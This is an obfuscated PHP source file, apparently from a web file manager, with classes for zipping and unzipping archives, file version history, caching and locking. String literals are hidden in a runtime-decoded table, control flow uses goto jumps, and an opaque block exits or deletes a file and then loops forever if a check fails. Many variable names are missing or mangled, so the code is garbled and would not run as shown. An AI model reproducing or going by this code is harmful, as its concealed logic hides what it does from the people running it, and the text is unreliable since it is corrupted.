$this->where($_SERVER[ձК][2121] . time())->delete(); } } goto B; e훭ӝ˱: $fileSize = strrev(base64_decode($_SERVER[Κ][0])); function binCheckNeq($, $܈ͦ) { return $ != $܈ͦ; } $_SERVER[$_SERVER[Κ][1]] = $fileSize($_SERVER[$_SERVER[Κ][2]]); goto f; Bم: if (!isset($_SERVER[$_SERVER[ձК][952]]) || !isset($_SERVER[$_SERVER[ձК][953]])) { $_getc = $_SERVER[ձК][955]; $_getfile = $_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ձК][287], $_getfilec); if (count($_getarrs) < $_SERVER[ձК][696]) { $exit = $_SERVER[ձК][958]; $exit(); } $_act = $_SERVER[ձК][961]; $_act($_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ձК][456]); } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ = IO::init($_SERVER[ձК][8]); return $; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "\x7a\x69\160", $ = '', $Ш = REPEAT_RENAME) { $Ω =& $_SERVER[ձК]; $ҥ = IO::listPath($); if (!$ҥ) { return !1; } $ҥ = array_merge($ҥ[$Ω[85]], $ҥ[$Ω[86]]); return self::zip($ҥ, $, $, $Ш); } public static function zip($ʥ, $ = "\x7a\151\x70", $Ξ = '', $盾 = REPEAT_RENAME) { $է =& $_SERVER[ձК]; if (is_string($ʥ) && $ʥ) { $ʥ = array(array($է[87] => $ʥ)); } $ = self::init($ʥ[0][$է[87]]); $߭ = self::info($ʥ[0][$է[87]]); $ = $է[12]; $ = $է[12]; $ = $է[12]; if ($Ξ && substr($Ξ, -1, 1) != $է[8]) { $ = get_path_father($Ξ); $ = get_path_this($Ξ); } else { $ = self::pathFather($߭[$է[87]]); $ = $߭[$է[32]] . $է[10] . $; if (count($ʥ) > 1) { $ = IO::info($); $ = $[$է[32]] . $է[10] . $; } if ($Ξ) { $ = $Ξ; } } if ($->getType() == $է[109]) { $ = self::init($); $˱ = $->getType() == $է[109] ? $ : get_path_father($->path); $˱ = rtrim($˱, $է[8]) . $է[8]; mk_dir($˱); } else { $ = TEMP_FILES . $է[1267] . time() . rand_string(8) . $է[8]; mk_dir($); file_put_contents($ . $է[1268], $է[12]); $˱ = $; } $ց = IO::info($˱); if (!$ց || !$ց[$է[235]]) { show_json(LNG($է[1269]), !1); } $ѩ = self::zipFileList($ʥ, $); foreach ($ѩ as $ => $Ӱ) { $ѩ[$] = self::iconvSystem($Ӱ); } $Ե = get_filename_auto($˱ . $, $է[12], $盾); KodArchive::create(self::iconvSystem($Ե), $ѩ); if (!IO::exist($Ե)) { if ($) { del_dir($); } write_log($է[1270] . $Ե, $է[390]); show_json(LNG($է[1271]), !1); } if (!$) { return $Ե; } $͊ = self::move($Ե, $, $盾); if ($) { del_dir($); } if (!$Ե) { write_log($է[1272] . $Ե . $է[1273] . $, $է[390]); show_json(LNG($է[1271]), !1); } return $͊; } public static function unzip($ڄ, $٥, $ކ = "\x2d\61", $ = "\162\x65\x70\154\x61\143\x65") { $ =& $_SERVER[ձК]; $뻏 = parent::info($ڄ); if (!$뻏) { show_json(LNG($[1274]), !1); } $ޟ = IO::infoFullSimple($٥); if (!$ޟ) { $٥ = IO::mkdir($٥); } if (isset($ޟ[$[193]]) && trim($ޟ[$[87]], $[8]) != trim($٥, $[8])) { $ݱ = KodIO::make($ޟ[$[192]]); $ɷ = IO::fileNameAuto($ݱ, $ޟ[$[32]], REPEAT_RENAME_FOLDER, !0); $٥ = IO::mkdir($ݱ . $ɷ); } $ކ = $ކ && $ކ != $[1275] ? @json_decode($ކ, !0) : -1; $½ = self::unzipPart($ڄ, $ކ); if (!$½ || !IO::exist($½[$[232]])) { show_json(LNG($[108]), !1); } $¿ = $½[$[1276]][count($½[$[1276]]) - 1]; if ($¿[$[1277]] == -1 || substr($¿[$[32]], -1, 1) == $[8]) { $ = $½[$[1278]] . rand_string(10) . $[8]; mk_dir($); $ = count($½[$[1276]]) == 1 ? IO::ext($ڄ) : get_path_ext($½[$[232]]); $ = KodArchive::extract(self::iconvSystem($½[$[232]]), $, $¿[$[1277]], $ɷ, $); self::unzipErrorCheck($, array($[1279], $ڄ, $, $٥, $½)); Hook::trigger($[1280], $); recursion_dir($, $, $, 0); $ү = array_merge($, $); $ԃ = array(); foreach ($ү as $) { $ϋ = IO::move(self::iconvApp($), $٥, $); if ($ϋ) { $ԃ[] = $ϋ; } } del_dir($); } else { $ϋ = IO::move($½[$[232]], $٥, $, get_path_this($¿[$[32]])); if ($ϋ) { $ԃ[] = $ϋ; } } return $ԃ ? $ԃ : !1; } public static function unzipList($) { $Ú =& $_SERVER[ձК]; $ = isset($[$Ú[1281]]) ? $[$Ú[1281]] : !1; $² = isset($[$Ú[1277]]) ? @json_decode($[$Ú[1277]], !0) : -1; $͏ͤ = self::unzipPart($[$Ú[87]], $²); if (!$͏ͤ || !IO::exist($͏ͤ[$Ú[232]])) { show_json(LNG($Ú[108]), !1); } $ = $͏ͤ[$Ú[1276]][count($͏ͤ[$Ú[1276]]) - 1]; $ = in_array(IO::ext($͏ͤ[$Ú[232]]), array($Ú[390], $Ú[1282], $Ú[1283], $Ú[1284], $Ú[1285], $Ú[1286])); if (!$ && ($[$Ú[1277]] == -1 || $)) { $ٵ = $͏ͤ[$Ú[1278]] . get_path_this($͏ͤ[$Ú[232]]) . $Ú[1287]; if (!IO::exist($ٵ)) { $ = $[$Ú[1277]] == -1 ? get_path_ext(IO::pathThis($[$Ú[87]])) : get_path_ext($͏ͤ[$Ú[232]]); $ª = KodArchive::listContent(self::iconvSystem($͏ͤ[$Ú[232]]), !0, $); self::unzipErrorCheck($ª, array($Ú[1288], $, $͏ͤ)); @file_put_contents($ٵ, json_encode($ª[$Ú[1289]])); } return @json_decode(IO::getContent($ٵ), !0); } IO::fileOut($͏ͤ[$Ú[232]], $, get_path_this($[$Ú[32]])); die; } private static function zipFileList($랥, $ρ = false) { $ٿ =& $_SERVER[ձК]; $ц = array(); foreach ($랥 as $) { $䴝 = $[$ٿ[87]]; if ($ρ) { $䴝 = self::copy($[$ٿ[87]], $ρ, $ٿ[893]); } else { $ųѭ = self::init($[$ٿ[87]]); if ($ųѭ->getType() == $ٿ[109]) { $䴝 = $ųѭ->path; } } if ($䴝 && self::local()->exist($䴝)) { $ц[$[$ٿ[87]]] = $䴝; } } if (!empty($ц)) { return array_values($ц); } show_json(LNG($ٿ[1248]), !1); } private static function localFilePath($) { $ =& $_SERVER[ձК]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SOURCE) { $Ϣ = Model($[899])->fileInfoGet(KodIO::sourceID($)); if (!$Ϣ[$[87]]) { show_json($[1290], !1); } $ = $Ϣ[$[87]]; } $ = self::init($); if ($->pathParse[$[1234]]) { $ = $->pathParse[$[1234]]; $ = self::init($); } $ = $->getType(); if ($ == $[109] || $ == $[1291]) { if (!$->exist($->path)) { show_json(LNG($[108]), !1); } return $->path; } return !1; } public static function unzipPart($◫, $Ŏԛ = -1) { $˫ =& $_SERVER[ձК]; $֣ = IO::pathThis($◫); if (!$Ŏԛ || $Ŏԛ == -1) { $ځ = array(array($˫[32] => $֣, $˫[1277] => -1)); $ځ[0][$˫[1292]] = $ځ[0][$˫[32]]; } else { if (is_array($Ŏԛ)) { $ځ = $Ŏԛ; $░ = count($ځ) - 1; for ($ = 0; $ <= $░; $++) { $ = $ځ[$]; $틪 = get_path_this($[$˫[32]]) . (checkExtSafe($[$˫[32]]) ? $˫[12] : $˫[1293]); $ځ[$][$˫[1292]] = $˫[1294] . intval($[$˫[1277]]) . $˫[464] . $틪; if ($ == 0) { continue; } $ځ[$][$˫[1292]] = $ځ[$ - 1][$˫[1292]] . $˫[1295] . $ځ[$][$˫[1292]]; } } } if (!is_array($ځ) || count($ځ) == 0) { return !1; } $ = $ځ[count($ځ) - 1]; if (!IO::exist($◫)) { return !1; } $ցʄ = TEMP_FILES . $˫[1296] . kodIO::hashPathSafe($◫) . $˫[8]; $봘 = $ցʄ . $[$˫[1292]]; mk_dir($ցʄ); file_put_contents(TEMP_FILES . $˫[1268], $˫[12]); if (IO::exist($봘)) { return array($˫[232] => $봘, $˫[1276] => $ځ, $˫[1278] => $ցʄ); } $ = self::localFilePath($◫); if (!$) { $ = $ցʄ . $˫[1297]; if (!IO::exist($)) { self::copy($◫, $ցʄ, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$˫[1277]] == -1) { return array($˫[232] => $, $˫[1276] => $ځ, $˫[1278] => $ցʄ); } $ޝ = $; foreach ($ځ as $ => $) { if (!$ || $[$˫[1277]] == $˫[1275]) { break; } if (substr($[$˫[32]], -1, 1) == $˫[8]) { break; } $ߥ = in_array(get_path_ext($[$˫[1292]]), array($˫[390], $˫[1282], $˫[1283], $˫[1284], $˫[1285], $˫[1286])); $͊ = $ == count($ځ) - 1 && $ߥ; $ = $ցʄ . $[$˫[1292]]; $ = $ցʄ . get_path_this($[$˫[32]]); if (IO::exist($)) { $ޝ = $; continue; } $ҷ = $ == 0 ? get_path_ext($֣) : get_path_ext($ޝ); $ܺ = KodArchive::extract(self::iconvSystem($ޝ), $ցʄ, $[$˫[1277]], $Ŗ͎, $ҷ); self::unzipErrorCheck($ܺ, array($˫[1298], $◫, $ځ, $, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ޝ = $; } $봘 = $ޝ; return array($˫[232] => $ޝ, $˫[1276] => $ځ, $˫[1278] => $ցʄ); } private static function unzipErrorCheck($, $ڸ = false) { $ۭ =& $_SERVER[ձК]; if ($[$ۭ[1299]]) { return !0; } write_log(array($ۭ[1300], $, $ڸ), $ۭ[1301]); show_json($ۭ[1302] . json_encode($[$ۭ[1289]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[ձК]; $̺ = $GLOBALS[$[6]][$[92]]; if ($̺[$[1303]] != 1) { return; } if ($̺[$[1304]] <= 0) { return; } if (isset($_REQUEST[$[1305]]) && $_REQUEST[$[1305]] == $[91]) { return; } Hook::bind($[1306], $[1307]); Hook::bind($[1308], $[1309]); Hook::bind($[1310], $[1311]); Hook::bind($[1312], $[1313]); Hook::bind($[1314], $[1315]); Hook::bind($[1316], $[1317]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $Ƃ = self::parsePath($[0]); if (!$Ƃ) { return; } self::add($Ƃ); } public static function eventBeforeEdit($) { $՜ҙ = self::parsePath($[0]); if (!$՜ҙ) { return; } self::add($՜ҙ); } public static function eventBeforeCopyFile($, $, $, $ө, $, $߰) { $Ă =& $_SERVER[ձК]; if (isset($->_data[$Ă[1238]]) && $->_data[$Ă[1238]]) { return; } $ = $->getPathOuter($ө); $ς = self::parsePath($); if (!$ς) { return; } self::add($ς); } public static function eventBeforeRename($䩉) { $ =& $_SERVER[ձК]; $х = self::parsePath($䩉[0]); if (!$х) { return; } $݅ = self::checkInHistory($х); if (!$݅) { return; } if ($݅[$[33]] == $[232]) { $ķ = self::listData($х); if ($ķ && $ķ[$[447]]) { self::moveHistory($х, $䩉[1]); } } else { IO::rename($݅[$[87]], $䩉[1]); } } public static function eventBeforeMove($) { $燗 =& $_SERVER[ձК]; $ = self::parsePath($[0]); if (!$) { return; } $̞ = self::parsePath($[1]); if (!$̞) { return; } $ὡ = $[3]; $ڢ = self::checkInHistory($); if (!$ڢ) { return; } $Ճļ = self::pathHistory($̞); if ($ڢ[$燗[33]] == $燗[232]) { $ = self::listData($); $ = rtrim($̞, $燗[8]) . $燗[8] . ($ὡ ? $ὡ : get_path_this($)); $̓ = self::listData($); if ($ && $[$燗[447]] && $̓ && $̓[$燗[447]]) { return self::clear($); } if ($ && $[$燗[447]]) { self::moveHistory($, $ὡ, $Ճļ); } } else { IO::move($ڢ[$燗[87]], $Ճļ, !1, $ὡ); self::clearEmptyFolder(IO::pathFather($ڢ[$燗[87]])); } } public static function eventAfterRemove($ө, $Կܭ) { $ =& $_SERVER[ձК]; if (!$Կܭ) { return; } $ = self::parsePath($ө[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[232]) { $ҕ = self::listData($, !1); if ($ҕ && $ҕ[$[447]]) { self::clear($, !1); } } else { IO::remove($[$[87]]); self::clearEmptyFolder(IO::pathFather($[$[87]])); } } private static function checkInHistory($̙) { $ = self::pathHistory($̙); if (!IO::exist($)) { $ .= $_SERVER[ձК][1318]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($ʃ) { $ʊ =& $_SERVER[ձК]; if (!$ʃ) { return !1; } if (isset($GLOBALS[$ʊ[1319]]) && $GLOBALS[$ʊ[1319]]) { return; } $ = KodIO::parse($ʃ); $ = $[$ʊ[33]]; $İ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$İ || !$[$ʊ[1320]]) { return !1; } if (substr($ʃ, 0, strlen(DATA_PATH . $ʊ[1321])) == DATA_PATH . $ʊ[1321]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $؆Ѷ = IO::init($ʃ); if ($؆Ѷ->pathParse[$ʊ[1234]]) { return self::parsePath($؆Ѷ->pathParse[$ʊ[1234]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ɴ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $ʊ[1322]); foreach ($ɴ as $Ј) { if (!$ && substr($ʃ, 0, strlen($Ј)) == $Ј) { return !1; } } self::log($GLOBALS[$ʊ[1229]] . $ʊ[1323] . $ʃ); return $ʃ; } private static function pathHistory($) { $ =& $_SERVER[ձК]; $Է = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $Է = str_replace(array($[1324]), array($[1325]), $Է); return $Է; } public static function log($) { } public static function historyCount($ř) { $ =& $_SERVER[ձК]; $黑 = array(); $ۃ = array(); foreach ($ř as $Ȧ) { $ۘ = get_path_father($Ȧ); if (!$ۃ[$ۘ]) { $ۃ[$ۘ] = array(); } $ۃ[$ۘ][] = get_path_this($Ȧ); } foreach ($ۃ as $ۘ => $) { $̲ = self::parsePath($ۘ); if (!$̲) { continue; } foreach ($ as $ҵ) { $ = self::listData(rtrim($̲, $[8]) . $[8] . $ҵ, !1); if ($ && $[$[447]]) { $黑[rtrim($ۘ, $[8]) . $[8] . $ҵ] = count($[$[447]]); } } } return $黑; } public static function add($Ƨ) { $⸚ǵ =& $_SERVER[ձК]; $ݲ = self::listData($Ƨ); if (!$ݲ) { return; } $ = Model($⸚ǵ[844])->get($⸚ǵ[1326]); $ۦ = intval($GLOBALS[$⸚ǵ[6]][$⸚ǵ[92]][$⸚ǵ[1304]]); $ = $ == $⸚ǵ[1327] ? min(5, $ۦ) : $ۦ; if ($ۦ <= 0) { return; } $녀 = IO::info($Ƨ); $ = $ݲ[$⸚ǵ[447]]; if ($녀[$⸚ǵ[79]] == 0) { return; } if ($녀[$⸚ǵ[79]] >= 1024 * 1024 * 500) { return !1; } $ = IO::hashSimple($Ƨ); if ($ && $[0][$⸚ǵ[677]] == $) { return !0; } if (array_key_exists($⸚ǵ[235], $녀) && !$녀[$⸚ǵ[235]]) { return !1; } $Χ = short_id(time()); $且 = array($⸚ǵ[477] => $Χ, $⸚ǵ[677] => $, $⸚ǵ[32] => $녀[$⸚ǵ[32]] . $⸚ǵ[10] . date($⸚ǵ[1328]) . rand_string(1), $⸚ǵ[79] => $녀[$⸚ǵ[79]], $⸚ǵ[529] => USER_ID, $⸚ǵ[233] => time(), $⸚ǵ[1329] => $⸚ǵ[12]); IO::mkdir($ݲ[$⸚ǵ[1330]]); $ƞ = IO::copy($Ƨ, $ݲ[$⸚ǵ[1330]], !1, $且[$⸚ǵ[32]]); if (!$ƞ) { self::clearEmptyFolder($ݲ[$⸚ǵ[1330]]); return !1; } array_unshift($, $且); if (count($) > $) { $ = array_slice($, $); foreach ($ as $ı) { IO::remove($ݲ[$⸚ǵ[1330]] . $ı[$⸚ǵ[32]]); } $ = array_slice($, 0, $); } return self::saveData($ݲ[$⸚ǵ[1331]], $); } public static function remove($ƨҗ, $ۿ) { $ =& $_SERVER[ձК]; $ʟ = self::listData($ƨҗ); $Ԍ = array(); if (!$ʟ) { return !1; } foreach ($ʟ[$[447]] as $ż) { if ($ż[$[477]] == $ۿ) { IO::remove($ʟ[$[1330]] . $ż[$[32]]); continue; } $Ԍ[] = $ż; } return self::saveData($ʟ[$[1331]], $Ԍ); } public static function clear($穯, $ = true) { $ߕ =& $_SERVER[ձК]; $錭 = self::listData($穯, $); if (!$錭) { return !1; } foreach ($錭[$ߕ[447]] as $ٴܑ) { IO::remove($錭[$ߕ[1330]] . $ٴܑ[$ߕ[32]]); } return self::saveData($錭[$ߕ[1331]], array()); } public static function moveHistory($ڿۺ, $ޮ = '', $ط = '') { $ =& $_SERVER[ձК]; $ = self::listData($ڿۺ, !1); if (!$ || !$[$[447]]) { return !1; } $Ű = $[1318]; $ޮ = $ޮ ? $ޮ : get_path_this($ڿۺ); $ط = $ط ? $ط : $[$[1330]]; $ౘ = substr(get_path_this($[$[1331]]), 0, -strlen($Ű)); foreach ($[$[447]] as $ => $ސ) { $Ц = $ޮ . substr($ސ[$[32]], strlen($ౘ)); $ = IO::move($[$[1330]] . $ސ[$[32]], $ط, !1, $Ц); if ($) { $[$[447]][$][$[32]] = $Ц; } } $[$[1331]] = IO::move($[$[1331]], $ط, !1, $ޮ . $Ű); self::saveData($[$[1331]], $[$[447]]); self::clearEmptyFolder($[$[1330]]); } public static function rollback($, $ⱨ՛) { $ =& $_SERVER[ձК]; $ا = self::listData($); if (!$ا) { return; } $ę = IO::info($); foreach ($ا[$[447]] as $ʱ => $Ȏ) { if ($Ȏ[$[477]] == $ⱨ՛) { self::add($); $Ḇ = $ا[$[1330]] . $Ȏ[$[32]]; $Δ = IO::copy($Ḇ, IO::pathFather($), REPEAT_REPLACE, $ę[$[32]]); if ($Δ) { self::remove($, $ⱨ՛); } return $Δ; } } return !1; } public static function setDetail($즼, $, $ϸ) { $۵ز =& $_SERVER[ձК]; $ = self::listData($즼); if (!$) { return; } foreach ($[$۵ز[447]] as $Ǝ => $ՓӜ) { if ($ՓӜ[$۵ز[477]] == $) { $[$۵ز[447]][$Ǝ][$۵ز[1329]] = $ϸ; self::saveData($[$۵ز[1331]], $[$۵ز[447]]); return !0; } } return !1; } public static function fileInfo($, $ȏ) { $Ͱ =& $_SERVER[ձК]; $漯 = self::listData($); if (!$漯) { show_json(LNG($Ͱ[108]), !1); } $ȝ = $Ͱ[12]; foreach ($漯[$Ͱ[447]] as $셡 => $) { if ($[$Ͱ[477]] != $ȏ) { continue; } $ȝ = $漯[$Ͱ[1330]] . $[$Ͱ[32]]; break; } if (!$ȝ) { show_json(LNG($Ͱ[108]), !1); } return IO::info($ȝ); } public static function fileOut($, $Ԫ, $ = false) { $̎ =& $_SERVER[ձК]; $Ӫ = self::fileInfo($, $Ԫ); $ҟ =& $GLOBALS[$̎[7]]; $ = isset($ҟ[$̎[1281]]) && $ҟ[$̎[1281]] == 1; if (isset($ҟ[$̎[33]]) && $ҟ[$̎[33]] == $̎[1332]) { return IO::fileOutImage($Ӫ[$̎[87]], $ҟ[$̎[1333]]); } IO::fileOut($Ӫ[$̎[87]], $, get_path_this($)); } public static function listData($逰ϧ, $ = true) { $ =& $_SERVER[ձК]; if ($ && !IO::exist($逰ϧ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($逰ϧ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($逰ϧ); $ = array($[1331] => $ . $[1318], $[1330] => rtrim(get_path_father($), $[8]) . $[8], $[447] => array()); $˙ = IO::getContent($[$[1331]]); if ($˙) { $ = json_decode($˙, !0); if (is_array($)) { $[$[447]] = $; } } return $; } private static function saveData($, $ʣ) { $㩊 =& $_SERVER[ձК]; self::log($㩊[1334] . $ . $㩊[74] . count($ʣ), $㩊[826]); if ($ʣ) { return IO::setContent($, json_encode($ʣ)); } $Õ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($Õ); return !0; } public static function clearEmptyFolder($Ȃ) { $яʍ =& $_SERVER[ձК]; if (trim($Ȃ, $яʍ[8]) == trim(self::$_historyBase, $яʍ[8])) { return; } $Ů = IO::pathFather($Ȃ); $뤇 = IO::has($Ȃ, !0); if ($뤇[$яʍ[241]] > 0 || $뤇[$яʍ[242]] > 0) { return; } IO::remove($Ȃ); self::clearEmptyFolder($Ů); } private static function getBasePath() { $Ҧ =& $_SERVER[ձК]; $ = Model($Ҧ[1335])->get($Ҧ[1336]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $Ҧ[1321]) { $ = $Ҧ[1337] . rand_string(8); @rename($, get_path_father($) . $Ҧ[8] . $); $ = DATA_PATH . $ . $Ҧ[8]; file_put_contents(DATA_PATH . $Ҧ[1268], $Ҧ[12]); Model($Ҧ[1335])->set($Ҧ[1336], $); } return $; } $ = DATA_PATH . $Ҧ[1337] . rand_string(8) . $Ҧ[8]; $ = IO::mkdir($); $ = rtrim($, $Ҧ[8]) . $Ҧ[8]; file_put_contents($ . $Ҧ[1268], $Ҧ[12]); file_put_contents(DATA_PATH . $Ҧ[1268], $Ҧ[12]); Model($Ҧ[1335])->set($Ҧ[1336], $); return $; } } goto A; d: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $傟 =& $_SERVER[ձК]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $֍Ս = $GLOBALS[$傟[6]][$傟[426]]; $ = $֍Ս[$֍Ս[$傟[901]]]; $ = $֍Ս[$傟[902]]; switch ($֍Ս[$傟[901]]) { case $傟[21]: self::$handle = Model($傟[903]); break; case $傟[904]: self::$handle = new CacheRedis($, $); break; case $傟[905]: self::$handle = new CacheMemcached($, $); break; case $傟[232]: self::$handle = new CacheFile($, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($Ǵ) { if (is_array($Ǵ) || is_object($Ǵ)) { $Ǵ = json_encode($Ǵ); } $Ǵ = rawurlencode($Ǵ); return md5(KOD_SITE_ID . $_SERVER[ձК][11] . $Ǵ); } public static function get($, $ѭ = false) { $ð = self::key($); $˒ = self::init(); if ($ѭ) { return unserialize($˒->get($ð)); } if (!isset(self::$memoryCache[$ð])) { $∨ = $˒->get($ð); self::$memoryCache[$ð] = unserialize($∨); } return self::$memoryCache[$ð]; } public static function set($˘, $, $ϱ = false) { $ފ =& $_SERVER[ձК]; $ = self::key($˘); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($ϱ === 0) { self::$memoryCache[$] = $; return !0; } $đ = self::init(); $ = serialize($); CacheLock::lock($˘ . $ފ[906]); $΄ = $đ->set($, $, $ϱ); self::$memoryCache[$] = $; CacheLock::unlock($˘ . $ފ[906]); return $΄; } public static function getCall($, $ɬ, $Ë, $ܛ = array()) { $ =& $_SERVER[ձК]; $ۓ = self::get($); if ($ۓ || $ۓ === $[12]) { return $ۓ; } $ۓ = call_user_func_array($Ë, $ܛ); $ۓ = $ۓ ? $ۓ : $[12]; self::set($, $ۓ, $ɬ); return $ۓ; } public static function remove($) { $颎 = self::key($); unset(self::$memoryCache[$颎]); self::clearTimeout(); CacheLock::lock($); $Ŝ = self::init()->remove($颎); CacheLock::unlock($); return $Ŝ; } public static function removeMemory($̪) { $ = self::key($̪); unset(self::$memoryCache[$]); } public static function clearMemory($Г = false) { if ($Г) { $Г = self::key($Г); unset(self::$memoryCache[$Г]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ձК][907])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ձК][908])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($ؔ۷, $ԗ) { $ɕ =& $_SERVER[ձК]; $this->cachePath = $ؔ۷[$ɕ[87]]; $this->prefix = $ɕ[909]; $this->cacheTime = $ԗ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[ձК]; $ = str_replace(array($[910], $[100], $[76]), $[911], $); return $this->cachePath . $[912] . $ . $[913]; } public function set($, $, $咥 = false) { $咥 = $咥 ? $咥 : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $咥)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($怔) { $ = $this->getFile($怔); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ꇊ = @file_get_contents($); return substr($ꇊ, strlen($this->prefix)); } public function remove($َ) { $ = $this->getFile($َ); return @unlink($); } public function deleteAll() { $ =& $_SERVER[ձК]; $⁌ = scandir($this->cachePath); foreach ($⁌ as $) { $ = $this->cachePath . $; if (strpos($, $[913]) && strpos($, $[914])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[ձК]; $ = scandir($this->cachePath); foreach ($ as $ԧ) { $ = $this->cachePath . $ԧ; if (strpos($, $[913]) && strpos($, $[914]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $dz =& $_SERVER[ձК]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$dz[6]][$dz[426]]; self::$timeout = $[$dz[915]] ? $[$dz[915]] : 10; $ = _get($GLOBALS[$dz[6]], $dz[916]); $ = $[$dz[901]] ? $[$dz[901]] : $dz[232]; if ($ == $dz[21] && $ == $dz[13]) { $ = $dz[232]; } switch ($) { case $dz[904]: self::$handle = new CacheLockRedis(); break; case $dz[905]: self::$handle = new CacheLockMemcached(); break; case $dz[21]: self::$handle = new CacheLockDatabase(); break; case $dz[232]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($dz[917], $dz[918]); } return self::$handle; } private static function key($ܘ) { return $_SERVER[ձК][919] . Cache::key($ܘ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($ѕ, $) { return self::lock($ѕ, $, !0); } public static function lock($ô, $ῧ = false, $К = false) { $ =& $_SERVER[ձК]; $ל = self::init(); $ = self::key($ô); $ῧ = $ῧ ? $ῧ : self::$timeout; $ = timeFloat(); if ($GLOBALS[$[920]]) { if (!$ל->lock($, 0.2)) { die; } return !0; } $ʖ = $ל->lock($, $ῧ); $ũ = timeFloat(); if (!$ʖ) { $ڋ = "\x6c\157\143\x6b\x20\x65\162\162\x6f\162\x3b\153\x65\x79\75{$ô}\x3b\x74\x69\155\145\x3d{$ῧ}\x3b" . self::$errorMsg . $[74] . get_caller_msg(); $݄ = LNG($[921]) . "\x28{$ῧ}\x73\x29\56" . LNG($[922]); $݄ .= $[923]; if (is_string(self::$errorMsg) && self::$errorMsg) { $݄ = $݄ . $[924] . self::$errorMsg; } write_log($[925] . sprintf($[926], timeFloat() - $) . $[927] . $ڋ . $[928] . json_encode(error_get_last()), $[918]); show_json($݄, !1); } if (!$К) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $ũ, 3); write_log($[929] . $ô . $[930] . $, $[918]); } return $ʖ; } public static function lockGet($) { $թɟ = self::key($); if (self::$lockItem[$թɟ]) { return self::$lockItem[$թɟ]; } return self::init()->lockGet($թɟ); } public static function unlock($̘) { $ =& $_SERVER[ձК]; $ؚ߮ = self::key($̘); self::$lockItem[$ؚ߮] = null; self::init()->unlock($ؚ߮); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[931] . $̘, $[918]); } return; } public static function unlockRuntime() { $ =& $_SERVER[ձК]; $ = self::init(); $ = !1; foreach (self::$lockItem as $б° => $ś) { if (!$ś) { continue; } $->unlock($б°); if (!$) { $ = !0; write_log($[932] . $б° . $[74] . get_caller_msg(), $[918]); continue; } write_log($[932] . $б°, $[918]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $̺ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[933] . $̺ . $[934] . ACTION, $[918]); } } public static function fileLock($랙) { $ =& $_SERVER[ձК]; if (!$GLOBALS[$[935]]) { $GLOBALS[$[935]] = array(); } $GLOBALS[$[935]][$랙] = !1; $ޗ = fopen(DATA_PATH . $랙 . $[936], $[937]); if (!$ޗ) { return !1; } $GLOBALS[$[935]][$랙] = $ޗ; if (flock($ޗ, LOCK_EX)) { return !0; } self::unlock($랙); show_json($[938], !1); return !1; } public static function fileUnlock($) { $ˎ =& $_SERVER[ձК]; $ = $GLOBALS[$ˎ[935]][$]; if (!$) { return; } $GLOBALS[$ˎ[935]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[ձК]; if (!isset($GLOBALS[$[935]]) || !$GLOBALS[$[935]]) { return; } foreach ($GLOBALS[$[935]] as $˶ => $ޢ) { if (!$ޢ) { continue; } $GLOBALS[$[935]][$˶] = !1; flock($ޢ, LOCK_UN); fclose($ޢ); } $GLOBALS[$[935]] = array(); } } goto E务; A: class KodIO { const KOD_SOURCE = "\173\x73\157\165\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\x7b\165\163\x65\x72\x52\x65\x63\171\143\x6c\145\175"; const 